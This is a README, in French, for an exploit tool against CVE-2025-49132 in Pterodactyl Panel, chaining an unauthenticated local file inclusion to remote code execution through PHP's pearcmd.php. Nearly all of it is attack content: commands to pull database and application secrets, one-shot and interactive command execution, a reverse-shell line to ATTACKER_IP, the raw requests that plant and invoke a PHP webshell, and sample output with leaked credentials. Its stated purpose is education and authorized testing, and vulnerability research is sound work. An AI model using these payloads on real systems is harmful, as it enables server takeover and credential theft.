
CVE pour Pterodactyl (pour l'étude et l'éducation)
⚠️ Avertissement : Ce dépôt est créé à des fins éducatives et de recherche uniquement dans le cadre de ma recherche en sécurité pour comprendre et documenter la CVE-2025-49132. Tout le crédit pour la découverte de la vulnérabilité revient au(x) chercheur(s) original(aux).
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Panel Pterodactyl - Exploit LFI non authentifié vers RCE
CVE-2025-49132 est une vulnérabilité d'inclusion locale de fichier (LFI) non authentifiée dans le Panel Pterodactyl qui peut être escaladée en exécution de code à distance (RCE) via pearcmd.php de PHP.
La vulnérabilité existe dans le point d'accès /locales/locale.json, qui ne nettoie pas correctement les paramètres locale et namespace, permettant à un attaquant de lire des fichiers de configuration PHP arbitraires et d'obtenir une exécution de code.
| Statut | Version |
|---|---|
| ❌ Vulnérable | <= 1.11.10 |
| ✅ Corrigé | >= 1.11.11 |
pearcmd.php# Cloner le dépôt
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132
# Installer les dépendances
pip install requests
requestscurl (pour le mode RCE)# Lire la configuration de la base de données
python exploit.py -u http://target.com --read -p ../../config -f database
# Lire la configuration de l'application (contient APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app
# Lire d'autres configurations
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail
# Exécution d'une commande unique
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"
# Mode shell interactif
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR
# Shell inversé
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
| Distribution | Chemin |
|---|---|
| Debian/Ubuntu | ../../../../../../usr/share/php |
| SUSE/OpenSUSE | ../../../../../../usr/share/php/PEAR |
| CentOS/RHEL | ../../../../../../usr/share/pear |
| Alpine | ../../../../../../usr/share/php8 |
| Argument | Description |
|---|---|
-u, --url | URL cible (obligatoire) |
-p, --path | Chemin de traversée pour LFI ou chemin PEAR pour RCE |
-f, --file | Fichier PHP à lire (sans l'extension .php) |
--read | Activer le mode lecture LFI |
--rce | Activer le mode RCE |
--cmd | Commande à exécuter (mode exécution unique) |
--sdir | Répertoire pour écrire le shell (par défaut : /tmp) |
--sname | Nom du fichier shell (par défaut : shell) |
Le point d'accès vulnérable /locales/locale.json accepte les paramètres locale et namespace :
GET /locales/locale.json?locale=../../config&namespace=database
Cela permet de lire tout fichier PHP qui retourne un tableau, y compris les fichiers de configuration Laravel.
L'exploit enchaîne LFI avec pearcmd.php pour obtenir une RCE :
Étape 1 : Utiliser la commande config-create de pearcmd.php pour écrire un webshell PHP
/locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
Étape 2 : Inclure le shell écrit via LFI
/locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
════════════════════════════════════════════════════════════
CONFIGURATION DE LA BASE DE DONNÉES
════════════════════════════════════════════════════════════
default: mysql
connections:
mysql:
driver: mysql
host: 127.0.0.1
port: 3306
database: panel
username: pterodactyl
password: SecretPassword123
────────────────────────────────────────────────────────────
[+] Configuration extraite avec succès !
[*] Cible : http://panel.example.com
[*] Exécution de la commande : id
[*] Écriture du payload dans : /tmp/cmd_abc123.php
[+] Sortie :
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------
locale et namespaceregister_argc_argv de PHPCet outil est fourni uniquement à des fins de tests de sécurité éducatifs et autorisés.
Utilisez-le de manière responsable et éthique.
⭐ Mettez une étoile à ce dépôt si vous l'avez trouvé utile !